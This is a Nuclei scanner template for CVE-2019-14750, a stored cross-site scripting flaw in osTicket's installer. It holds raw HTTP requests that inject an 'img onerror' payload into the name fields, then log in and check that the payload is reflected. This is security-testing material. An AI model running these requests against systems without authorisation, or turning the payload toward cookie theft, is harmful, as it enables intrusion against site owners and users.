nuclei-templates/http/cves/2019/CVE-2019-14750.yaml

88 lines
3.5 KiB
YAML

id: CVE-2019-14750
info:
name: osTicket < 1.12.1 - Cross-Site Scripting
author: TenBird
severity: medium
description: |
An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: |
Upgrade osTicket to version 1.12.1 or later to mitigate this vulnerability.
reference:
- https://packetstormsecurity.com/files/154005/osTicket-1.12-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-14750
- http://packetstormsecurity.com/files/154005/osTicket-1.12-Cross-Site-Scripting.html
- https://github.com/osTicket/osTicket/commit/c3ba5b78261e07a883ad8fac28c214486c854e12
- https://github.com/osTicket/osTicket/releases/tag/v1.10.7
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-14750
cwe-id: CWE-79
epss-score: 0.05107
epss-percentile: 0.92161
cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: osticket
product: osticket
shodan-query: title:"osTicket"
tags: packetstorm,cve,cve2019,osticket,xss,intrusive
variables:
user_name: "{{to_lower(rand_text_alphanumeric(6))}}"
user_pass: "{{rand_text_alphanumeric(12)}}"
user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
http:
- raw:
- |
POST /upload/setup/install.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
s=install&name={{user_name}}&email={{user_email}}&lang_id=en_US&fname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&lname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&admin_email={{user_email}}&username={{user_name}}&passwd={{user_pass}}&passwd2={{user_pass}}&prefix=ost_&dbhost={{dbhost}}&dbname=tt&dbuser={{username}}&dbpass={{password}}&timezone=Asia%2FTokyo
- |
GET /upload/scp/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
POST /upload/scp/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__CSRFToken__={{csrftoken}}&do=scplogin&userid={{user_name}}&passwd={{user_pass}}&ajax=1
- |
GET /upload/scp/settings.php HTTP/1.1
Host: {{Hostname}}
redirects: true
matchers-condition: and
matchers:
- type: word
part: body_4
words:
- '<img src=x onerror=alert(1);>'
- 'getConfig().resolve'
condition: and
- type: word
part: header_4
words:
- text/html
- type: status
status:
- 200
extractors:
- type: regex
name: csrftoken
part: body
group: 1
regex:
- '__CSRFToken__" value="(.*?)"'
internal: true
# digest: 4a0a00473045022041eaf89f8f6d0d3b4b8ae31a1ddfec5c9e3125acceb936e32bfd92e8bdad6e5f0221009c9b78a00cfd72d79cc8aec1217b3a696505baca8d5e3f98a0c80122b9423071:922c64590222798bb761d5b6d8e72950